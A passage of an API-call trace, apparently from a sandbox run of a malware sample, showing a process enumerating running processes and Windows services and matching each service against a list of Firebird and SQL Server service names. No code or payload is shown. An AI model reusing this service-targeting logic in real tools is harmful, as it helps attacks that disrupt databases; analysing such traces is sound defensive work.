	[0145.698] Process32NextW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0145.699] lstrlenW (lpString="mode.com") returned 8
	[0145.699] Process32NextW (in: hSnapshot=0x538, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0
	[0145.700] CloseHandle (hObject=0x538) returned 1
	[0145.700] Sleep (dwMilliseconds=0x1f4) 
	[0146.239] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45b0228
	[0146.240] EnumServicesStatusExW (in: hSCManager=0x45b0228, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 0
	[0146.240] GetLastError () returned 0xea
	[0146.240] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1bc4) returned 0x459f700
	[0146.241] EnumServicesStatusExW (in: hSCManager=0x45b0228, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x459f700, cbBufSize=0x1bc4, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x459f700, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 1
	[0146.242] CloseServiceHandle (hSCObject=0x45b0228) returned 1
	[0146.274] lstrlenW (lpString="Appinfo") returned 7
	[0146.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0146.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0146.274] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0146.274] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0146.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0146.274] lstrlenW (lpString="AppXSvc") returned 7
	[0146.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0146.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0146.274] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0146.275] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0146.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0146.275] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0146.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0146.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0146.275] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0146.275] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0146.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0146.275] lstrlenW (lpString="Audiosrv") returned 8
	[0146.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0146.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0146.275] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0146.275] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0146.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0146.275] lstrlenW (lpString="BFE") returned 3
	[0146.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0146.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0146.275] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0146.275] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0146.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0146.275] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0146.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0146.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0146.275] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0146.275] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0146.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0146.275] lstrlenW (lpString="CDPSvc") returned 6
	[0146.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0146.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0146.275] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0146.275] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0146.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0146.275] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0146.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0146.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0146.276] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0146.276] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0146.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0146.276] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0146.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0146.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0146.276] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0146.276] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0146.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0146.276] lstrlenW (lpString="CryptSvc") returned 8
	[0146.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0146.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0146.276] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0146.276] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0146.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0146.276] lstrlenW (lpString="DcomLaunch") returned 10
	[0146.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0146.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0146.276] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0146.276] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0146.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0146.276] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0146.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0146.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0146.276] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0146.276] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0146.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0146.276] lstrlenW (lpString="Dhcp") returned 4
	[0146.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0146.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0146.276] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0146.276] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0146.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0146.276] lstrlenW (lpString="Dnscache") returned 8
	[0146.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0146.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0146.277] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0146.277] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0146.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0146.277] lstrlenW (lpString="DPS") returned 3
	[0146.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0146.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0146.277] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0146.277] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0146.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0146.277] lstrlenW (lpString="DusmSvc") returned 7
	[0146.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0146.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0146.277] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0146.277] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0146.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0146.277] lstrlenW (lpString="EventLog") returned 8
	[0146.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0146.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0146.277] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0146.277] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0146.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0146.277] lstrlenW (lpString="EventSystem") returned 11
	[0146.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0146.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0146.277] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0146.277] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0146.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0146.277] lstrlenW (lpString="FontCache") returned 9
	[0146.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0146.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0146.277] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0146.277] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0146.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0146.277] lstrlenW (lpString="gpsvc") returned 5
	[0146.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0146.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0146.277] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0146.277] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0146.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0146.278] lstrlenW (lpString="iphlpsvc") returned 8
	[0146.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0146.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0146.278] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0146.278] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0146.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0146.278] lstrlenW (lpString="KeyIso") returned 6
	[0146.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0146.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0146.278] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0146.278] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0146.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0146.278] lstrlenW (lpString="LanmanServer") returned 12
	[0146.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0146.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0146.278] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0146.278] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0146.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0146.278] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0146.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0146.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0146.278] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0146.278] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0146.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0146.278] lstrlenW (lpString="lfsvc") returned 5
	[0146.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0146.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0146.278] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0146.278] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0146.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0146.278] lstrlenW (lpString="lmhosts") returned 7
	[0146.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0146.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0146.278] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0146.278] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0146.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0146.278] lstrlenW (lpString="LSM") returned 3
	[0146.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0146.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0146.279] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0146.279] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0146.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0146.279] lstrlenW (lpString="MpsSvc") returned 6
	[0146.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0146.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0146.279] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0146.279] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0146.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0146.279] lstrlenW (lpString="NcbService") returned 10
	[0146.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0146.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0146.279] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0146.279] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0146.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0146.279] lstrlenW (lpString="netprofm") returned 8
	[0146.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0146.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0146.279] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0146.279] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0146.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0146.279] lstrlenW (lpString="NgcSvc") returned 6
	[0146.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0146.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0146.279] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0146.279] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0146.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0146.279] lstrlenW (lpString="NlaSvc") returned 6
	[0146.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0146.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0146.280] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0146.280] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0146.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0146.280] lstrlenW (lpString="nsi") returned 3
	[0146.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0146.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0146.280] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0146.280] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0146.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0146.280] lstrlenW (lpString="PcaSvc") returned 6
	[0146.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0146.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0146.280] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0146.280] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0146.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0146.280] lstrlenW (lpString="PlugPlay") returned 8
	[0146.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0146.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0146.280] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0146.280] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0146.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0146.280] lstrlenW (lpString="Power") returned 5
	[0146.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0146.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0146.280] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0146.280] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0146.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0146.280] lstrlenW (lpString="ProfSvc") returned 7
	[0146.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0146.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0146.280] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0146.280] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0146.280] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0146.280] lstrlenW (lpString="RpcEptMapper") returned 12
	[0146.280] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0146.280] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0146.281] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0146.281] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0146.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0146.281] lstrlenW (lpString="RpcSs") returned 5
	[0146.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0146.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0146.281] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0146.281] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0146.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0146.281] lstrlenW (lpString="SamSs") returned 5
	[0146.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0146.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0146.281] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0146.281] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0146.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0146.281] lstrlenW (lpString="Schedule") returned 8
	[0146.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0146.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0146.281] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0146.281] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0146.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0146.281] lstrlenW (lpString="SecurityHealthService") returned 21
	[0146.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0146.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0146.281] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0146.281] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0146.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0146.281] lstrlenW (lpString="SENS") returned 4
	[0146.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0146.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0146.281] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0146.281] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0146.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0146.281] lstrlenW (lpString="ShellHWDetection") returned 16
	[0146.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0146.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0146.281] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0146.281] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0146.281] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0146.282] lstrlenW (lpString="Spooler") returned 7
	[0146.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0146.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0146.282] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0146.282] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0146.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0146.282] lstrlenW (lpString="StateRepository") returned 15
	[0146.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0146.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0146.282] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0146.282] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0146.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0146.282] lstrlenW (lpString="SysMain") returned 7
	[0146.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0146.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0146.282] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0146.282] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0146.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0146.282] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0146.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0146.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0146.282] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0146.282] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0146.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0146.282] lstrlenW (lpString="Themes") returned 6
	[0146.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0146.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0146.282] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0146.282] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0146.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0146.282] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0146.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0146.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0146.282] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0146.283] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0146.283] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x459f700 | out: hHeap=0x4f0000) returned 1
	[0146.283] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x550
